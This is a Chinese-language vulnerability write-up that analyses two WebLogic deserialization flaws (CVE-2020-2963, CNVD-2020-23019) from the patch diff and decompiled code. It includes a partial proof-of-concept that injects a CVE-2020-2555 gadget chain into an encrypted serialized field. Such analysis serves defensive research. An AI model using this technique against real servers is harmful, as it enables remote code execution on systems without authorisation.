weblogic CVE-2020-2963、CNVD-2020-23019 反序列化漏洞分析与复现

简介

这两个洞应该都是5月更新的补丁，分析时候无意中发现的。看了一下漏洞挺简单，就是利用有点苛刻

SOAPInvokeState CNVD-2020-23019

diff 补丁，截图如下

可以很明显的看出，将ObjectInputStream更改为FilterInputStream。在weblogic中，FilterInputStream负责检查反序列化的类种是否存在可以利用的Gadget，而ObjectInputStream不会。并且在类的readObject 方法中，通过T3协议反序列化默认的参数为FilterInputStream，以此来防御反序列化漏洞。

除非类的readObject中乱调用ObjectInputStream，否则是不会产生反序列化漏洞的。

在SOAPInvokeState的readExternal中，我们只要能走入以下的流程即可

        if ((flags & 1) != 0) {
            try {
                len = in.readInt();
                byte[] bytes = new byte[len];
                in.readFully(bytes);
                bytes = EncryptionUtil.decrypt(bytes);
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
                ObjectInputStream in2 = new ObjectInputStream(bais);
                this.subject = (AuthenticatedSubject)in2.readObject();
            } catch (Exception var13) {
                (new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
            }

看一下writeExternal方法，被实例化的类中存在subject，就可以让readExternal执行上面的反序列化流程

        if (this.subject != null) {
            ByteArrayOutputStream var12 = new ByteArrayOutputStream();
            ObjectOutputStream var13 = new ObjectOutputStream(var12);
            var13.writeObject(this.subject);
            var13.flush();
            byte[] var5 = var12.toByteArray();
            var5 = EncryptionUtil.encrypt(var5);
            var1.writeInt(var5.length);
            var1.write(var5);
        }

当然，还下面问题

加密

在EncryptionUtil.encrypt加密时，会根据Kernel.isServer()为true，才会进行加密，否则返回原数据。
因此加密之前需要调用KernelStatus.setIsServer(true)设置状态为true，或者强行加密。

    public static byte[] encrypt(byte[] var0) {
        return getEncryptionService().encryptBytes(var0);
    }

在weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中，会读取SerializedSystemIni.dat作为密钥，也就是说，需要认证或者配合文件读取才能利用该漏洞去攻击weblogic

    public static EncryptionService getExistingEncryptionService() {
        String var0 = DomainDir.getRootDir();
        String var1 = var0 + File.separator + "security" + File.separator + "SerializedSystemIni.dat";
        File var2 = new File(var1);
        if (!var2.exists()) {
            String var3 = var0 + File.separator + "SerializedSystemIni.dat";
            File var4 = new File(var3);
            if (!var4.exists()) {
                return null;
            }

            var1 = var3;
        }

        SerializedSystemIni var5 = new SerializedSystemIni(var1);
        return getEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());

POC

魔改一下 writeExternal为下面的代码，再反序列化即可

            BadAttributeValueExpException exp = null;
            try {
                exp = cve_2020_2555.getBadAttributeValueExpException();
            } catch (Exception e) {
                e.printStackTrace();
            }
            out2.writeObject(exp);
            out2.flush();
            byte[] bytes = baos.toByteArray();
            bytes = EncryptionUtil.encrypt(bytes);
            out.writeInt(bytes.length);
            out.write(bytes);
        }
       
}

WlsSSLAdapter CVE-2020-2963

原理一样，详见下面的代码

    private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
        int length = in.readInt();
        if (length <= 0) {
            return in.readObject();
        } else {
            byte[] bytes = new byte[length];
            in.readFully(bytes);
            bytes = EncryptionUtil.decrypt(bytes);
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            ObjectInputStream in2 = new ObjectInputStream(bais);
            return in2.readObject();
        }
    }

参考

1. https://www.fortiguard.com/encyclopedia/ips/48965
2. https://www.fortiguard.com/encyclopedia/ips/48945